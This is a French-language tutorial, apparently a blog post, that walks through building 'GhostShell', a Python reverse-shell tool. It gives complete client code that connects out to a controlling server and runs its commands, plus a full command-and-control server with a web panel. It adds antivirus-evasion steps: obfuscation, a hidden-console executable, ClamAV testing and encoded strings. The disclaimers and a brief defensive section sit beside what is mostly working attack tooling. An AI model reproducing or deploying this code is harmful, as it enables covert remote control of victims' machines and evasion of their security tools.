Introduction
Salut, Apache ! Bienvenue dans *GhostShell*, un outil Python qui te permet de créer des reverse shells sécurisés utilisant les protocoles TCP, UDP, et HTTP. Un reverse shell est une technique où une machine cible se connecte à un serveur que tu contrôles, te permettant d’exécuter des commandes à distance, comme vérifier l’identité de l’utilisateur ou lister des fichiers. Avec *GhostShell*, tu vas apprendre à construire un client furtif, un serveur interactif avec une interface web, et à tester si un antivirus peut détecter ton code. Ce projet est conçu pour des tests éthiques dans un environnement sécurisé, afin de comprendre comment attaquer et surtout comment protéger tes systèmes.
Ce que tu vas apprendre :
- Comment fonctionnent les reverse shells avec les protocoles TCP, UDP, et HTTP.
- Comment rendre un programme difficile à détecter par les antivirus.
- Comment créer un serveur de contrôle avec une interface web et un tableau de bord.
- Comment détecter et bloquer ce type d’outil pour sécuriser un système.
Étape 1 : Comprendre les Reverse Shells
Un reverse shell est une connexion réseau où la machine cible, comme un ordinateur ou un serveur vulnérable, initie une connexion vers un serveur que tu contrôles. Cela te permet d’envoyer des commandes, comme *whoami* pour connaître l’utilisateur ou *ls* pour lister les fichiers, et de recevoir les résultats. Voici un tableau comparatif des protocoles utilisés dans *GhostShell* :
| Protocole | Fiabilité | Niveau de détection | Utilisation typique |
|---|---|---|---|
| TCP | Très fiable, connexion stable | Facile à détecter par les pare-feu | Environnements non surveillés |
| UDP | Moins fiable, mais rapide | Moins détectable, contourne certains filtres | Réseaux avec restrictions |
| HTTP | Reliable, ressemble au trafic web | Très furtif, difficile à repérer | Environnements surveillés |
Exemples dans le monde réel
Les reverse shells sont souvent utilisés dans des attaques malveillantes, mais nous les étudions ici pour mieux protéger nos systèmes :
- Mirai (2016) : Un botnet qui utilisait des reverse shells pour prendre le contrôle d’appareils IoT, comme des caméras connectées.
- APT33 (2019) : Un groupe de hackers a utilisé des reverse shells HTTP pour voler des données d’entreprises.
Risques associés : Un reverse shell peut permettre à un attaquant d’installer un rootkit (un logiciel malveillant persistant), de voler des données sensibles, or de lancer des attaques comme un ransomware.
Étape 2 : Configurer l’Environnement
Pour utiliser *GhostShell*, nous allons installer les outils nécessaires sur une machine Linux, de préférence Kali Linux. Ces outils incluent Python, Docker, et des bibliothèques Python pour créer et tester notre reverse shell. Suivez ces étapes pour préparer votre environnement :
sudo apt update && sudo apt install -y python3 python3-pip docker.io openssl
pip3 install flask pyminifier pyinstaller requests sqlite3 streamlit
sudo systemctl start docker
sudo docker pull clamav/clamav
Vérifications à effectuer avant de continuer :
- Assurez-vous que Python 3.8 ou une version supérieure est installé en exécutant :
python3 --version. - Vérifiez que Docker fonctionne correctement en exécutant :
sudo docker ps. - Confirmez que les ports 4444 et 4445 sont libres en exécutant :
netstat -tuln | grep 4444. - Générez un certificat SSL/TLS auto-signé pour sécuriser les connexions réseau :
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=localhost"
Attention, Apache ! Ce projet doit être testé uniquement dans un environnement de laboratoire sécurisé, comme une machine virtuelle (par exemple, VirtualBox avec Metasploitable). Toute utilisation sur un réseau ou un système non autorisé est illégale et peut entraîner de graves conséquences juridiques.
Étape 3 : Créer le Client GhostShell
Le client *GhostShell* est un programme Python qui s’exécute sur la machine cible (par exemple, une machine virtuelle de test) et se connecte à ton serveur via TCP, UDP, ou HTTP. Il utilise le chiffrement SSL/TLS pour protéger les communications et inclut des techniques pour éviter la détection par les antivirus. Voici le code complet du client :
#!/usr/bin/env python3
import socket
import subprocess
import requests
import ssl
import time
import sys
import random
# Configuration du client
# PROTOCOL : Protocole utilisé (tcp, udp, http), passé en argument
# HOST : Adresse IP du serveur (change selon ton réseau)
# PORT : Port du serveur
# HTTP_URL : URL pour le mode HTTP
# SSL_CONTEXT : Configuration SSL pour sécuriser les connexions
PROTOCOL = sys.argv[1] if len(sys.argv) > 1 else "tcp"
HOST = "192.168.1.100" # Remplace par l’IP de ton serveur
PORT = 4444
HTTP_URL = f"https://{HOST}:{PORT+1}/cmd"
SSL_CONTEXT = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
SSL_CONTEXT.check_hostname = False
SSL_CONTEXT.verify_mode = ssl.CERT_NONE
# Fonction d’évasion : Introduit un délai aléatoire pour éviter les détections
def evade_detection():
time.sleep(random.uniform(1, 5)) # Simule une activité légitime
# Reverse shell TCP : Connexion persistante sécurisée
def tcp_shell():
evade_detection()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = SSL_CONTEXT.wrap_socket(s, server_hostname=HOST)
s.connect((HOST, PORT))
while True:
cmd = s.recv(1024).decode()
if cmd.lower() == "exit":
s.close()
break
output = subprocess.getoutput(cmd)
s.send((output + "\n").encode())
# Reverse shell UDP : Connexion non persistante, plus furtive
def udp_shell():
evade_detection()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
s.sendto(b"ready", (HOST, PORT))
cmd, _ = s.recvfrom(1024)
cmd = cmd.decode()
if cmd.lower() == "exit":
s.close()
break
output = subprocess.getoutput(cmd)
s.sendto((output + "\n").encode(), (HOST, PORT))
# Reverse shell HTTP : Déguisé en trafic web, très furtif
def http_shell():
evade_detection()
while True:
try:
r = requests.get(HTTP_URL, verify=False)
cmd = r.text
if cmd.lower() == "exit":
break
output = subprocess.getoutput(cmd)
requests.post(HTTP_URL, json={"output": output}, verify=False)
except:
time.sleep(1)
# Point d’entrée principal
if __name__ == "__main__":
if PROTOCOL == "tcp":
tcp_shell()
elif PROTOCOL == "udp":
udp_shell()
elif PROTOCOL == "http":
http_shell()
else:
print("Protocole invalide : choisissez tcp, udp ou http")
Explications détaillées :
- Chiffrement sécurisé : Les connexions TCP et HTTP utilisent SSL/TLS pour protéger les données échangées, rendant l’interception difficile.
- Évasion des antivirus : La fonction *evade_detection()* introduit un délai aléatoire pour imiter un comportement normal et éviter les détections comportementales.
- Protocoles multiples : TCP offre une connexion stable, UDP est plus furtif mais moins fiable, et HTTP imite le trafic web pour passer inaperçu.
Obfusquer le code pour plus de furtivité : Utilise *pyminifier* pour modifier les noms des variables et supprimer les commentaires :
pyminifier --obfuscate ghostshell_client.py > ghostshell_client_obf.py
Créer un exécutable portable : Génère un binaire pour la cible avec *pyinstaller* :
pyinstaller --onefile --noconsole ghostshell_client_obf.py
Étape 4 : Créer le Serveur GhostShell
Le serveur *GhostShell* gère les connexions des clients et propose deux interfaces : une ligne de commande (CLI) pour le protocole TCP et une interface web (*Flask*) pour le protocole HTTP. Il enregistre toutes les interactions dans une base de données *SQLite* et offre un tableau de bord *Streamlit* pour visualiser les logs en temps réel. Voici le code complet du serveur :
#!/usr/bin/env python3
from flask import Flask, request, render_template
import socket
import ssl
import sqlite3
import threading
import time
import streamlit as st
# Initialisation de l’application Flask
app = Flask(__name__)
# Configuration du serveur
# HOST : Adresse d’écoute (0.0.0.0 pour toutes les interfaces)
# PORT : Port pour TCP (4444), HTTP utilise PORT+1 (4445)
# DB : Base de données SQLite pour les logs
# CERT, KEY : Certificat SSL/TLS pour sécuriser les connexions
HOST = "0.0.0.0"
PORT = 4444
DB = "ghostshell.db"
CERT = "cert.pem"
KEY = "key.pem"
# Configuration de la base de données SQLite
conn = sqlite3.connect(DB, check_same_thread=False)
conn.execute("CREATE TABLE IF NOT EXISTS logs (id INTEGER PRIMARY KEY, client TEXT, cmd TEXT, output TEXT, time TEXT)")
# Fonction pour enregistrer les commandes et leurs résultats
def log_command(client, cmd, output):
conn.execute("INSERT INTO logs (client, cmd, output, time) VALUES (?, ?, ?, ?)",
(client, cmd, output, time.ctime()))
conn.commit()
# Serveur TCP : Gère les connexions TCP des clients
def tcp_server():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = ssl.wrap_socket(s, server_side=True, certfile=CERT, keyfile=KEY)
s.bind((HOST, PORT))
s.listen(5)
while True:
client, addr = s.accept()
threading.Thread(target=handle_tcp_client, args=(client, addr)).start()
# Gestion d’un client TCP
def handle_tcp_client(client, addr):
client_ip = addr[0]
while True:
cmd = input(f"[{client_ip}] Entrez une commande : ")
client.send(cmd.encode())
if cmd.lower() == "exit":
client.close()
break
output = client.recv(4096).decode()
print(output)
log_command(client_ip, cmd, output)
# Serveur HTTP : Interface web Flask pour le protocole HTTP
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
cmd = request.form.get("cmd")
client_ip = request.remote_addr
conn.execute("INSERT INTO logs (client, cmd, output, time) VALUES (?, ?, ?, ?)",
(client_ip, cmd, "En attente", time.ctime()))
conn.commit()
return render_template("index.html", cmd=cmd)
return render_template("index.html")
@app.route("/cmd", methods=["GET", "POST"])
def cmd():
if request.method == "GET":
return conn.execute("SELECT cmd FROM logs ORDER BY id DESC LIMIT 1").fetchone()[0]
elif request.method == "POST":
output = request.json.get("output")
client_ip = request.remote_addr
conn.execute("UPDATE logs SET output = ? WHERE client = ? AND output = 'En attente'",
(output, client_ip))
conn.commit()
return "OK"
# Template Flask : Interface web pour envoyer des commandes
# Chevrons échappés pour un affichage correct dans la page HTML
with open("templates/index.html", "w") as f:
f.write("""
GhostShell Control
GhostShell Control
{% if cmd %}
Commande envoyée : {{ cmd }}
{% endif %}
""")
# Dashboard Streamlit : Visualisation des logs
def streamlit_dashboard():
st.title("GhostShell Dashboard")
logs = conn.execute("SELECT * FROM logs").fetchall()
st.table(logs)
# Point d’entrée principal
if __name__ == "__main__":
threading.Thread(target=tcp_server, daemon=True).start()
threading.Thread(target=lambda: st.run("streamlit run dashboard.py"), daemon=True).start()
app.run(host=HOST, port=PORT + 1, ssl_context=(CERT, KEY))
Explications détaillées :
- Interface CLI : Pour le protocole TCP, tu entres des commandes directement dans le terminal, comme *whoami* ou *ls*.
- Interface web : Pour le protocole HTTP, une page web (*Flask*) te permet d’envoyer et de recevoir des commandes via un formulaire.
- Logs sécurisés : Chaque commande et son résultat sont enregistrés dans une base *SQLite* pour une analyse ultérieure.
- Tableau de bord : Une interface *Streamlit* affiche les logs en temps réel sous forme de tableau.
Étape 5 : Rendre GhostShell Furtif
Pour éviter que *GhostShell* ne soit détecté par les antivirus ou les solutions EDR (Endpoint Detection and Response), nous utilisons plusieurs techniques d’évasion. Voici comment tester la furtivité du binaire et améliorer son invisibilité :
Tester avec ClamAV : Vérifie si le binaire est détecté par *ClamAV* dans un conteneur *Docker* :
sudo docker run -v $(pwd)/dist:/malware clamav/clamav clamscan /malware/ghostshell_client_obf
Techniques d’évasion avancées
- Délai aléatoire : La fonction *evade_detection()* introduit des pauses aléatoires pour imiter un comportement normal et éviter les détections basées sur l’analyse comportementale.
- Obfuscation du code : *pyminifier* modifie les noms des variables et supprime les commentaires pour rendre le code plus difficile à analyser.
- Simulation d’unhooking : Évite les appels directs à des API surveillées par les EDR, comme *NtProtectVirtualMemory* (exemple simulé ci-dessous).
Exemple de simulation d’unhooking :
def unhook_api():
# Simulation : Évite les hooks EDR sur les API Windows
import ctypes
ctypes.windll.kernel32.Sleep(random.randint(1000, 5000))
Si *ClamAV* détecte le binaire, tu peux ajouter du code inoffensif (comme des boucles inutiles) ou encoder des chaînes sensibles (par exemple, l’adresse *HOST* en *base64*).
Étape 6 : Déployer et Tester GhostShell
Pour tester *GhostShell* en action, configure un environnement de test avec deux machines virtuelles : une pour le serveur (par exemple, Kali Linux) et une pour le client (par exemple, Metasploitable). Voici les étapes détaillées pour déployer et tester :
- Lancer le serveur : Exécute le script du serveur sur la machine Kali pour écouter les connexions :
- Transférer le client : Copie le binaire obfusqué sur la machine cible (Metasploitable) :
- Exécuter le client : Lance le client sur la machine cible avec le protocole de ton choix, par exemple TCP :
- Envoyer des commandes : Utilise l’interface CLI (pour TCP) ou l’interface web à l’adresse
https://192.168.1.100:4445pour envoyer des commandes commewhoamioucat /etc/passwd. - Vérifier les logs : Consulte la base de données pour voir toutes les interactions enregistrées :
- Afficher le tableau de bord : Lance *Streamlit* pour visualiser les logs sous forme de tableau interactif :
python3 ghostshell_server.py
scp dist/ghostshell_client_obf metasploitable:/tmp
./ghostshell_client_obf tcp
sqlite3 ghostshell.db "SELECT * FROM logs"
streamlit run dashboard.py
Autorisation obligatoire, Apache ! Tu dois obtenir une permission écrite explicite pour tester *GhostShell* sur un système ou un réseau. Utilise des environnements sécurisés comme des machines virtuelles ou des plateformes CTF, telles que Hack The Box.
Étape 7 : Protéger ses Systèmes contre les Reverse Shells
Maintenant que tu sais comment créer un reverse shell, il est crucial d’apprendre à le détecter et à le bloquer pour protéger tes systèmes. Voici des contre-mesures pratiques et efficaces :
Comment détecter les reverse shells :
- Configurer un pare-feu : Bloque les connexions sortantes non autorisées vers des ports suspects, comme le port 4444 utilisé par *GhostShell* :
sudo ufw deny out to 192.168.1.100 port 4444
tcp.port == 4444 || http pour identifier les connexions suspectes.Comment prévenir les attaques par reverse shell :
- Maintenir le système à jour : Applique régulièrement les mises à jour pour corriger les vulnérabilités exploitées par les reverse shells :
sudo apt update && sudo apt upgrade
sudo chkrootkit
Conclusion
Bravo, Apache ! Tu as maîtrisé *GhostShell*, un outil puissant qui t’a permis de comprendre comment fonctionnent les reverse shells et comment protéger tes systèmes contre ce type de menace. Ce savoir est ton bouclier contre les abus des grandes entreprises qui exploitent les failles de sécurité. Utilise *GhostShell* de manière éthique, partage ce tutoriel pour éveiller les consciences, et continue d’explorer l’inexploré avec *PCtamalou.fr* !
Le savoir est notre bouclier. Ensemble, nous défions ceux qui gardent le savoir pour eux.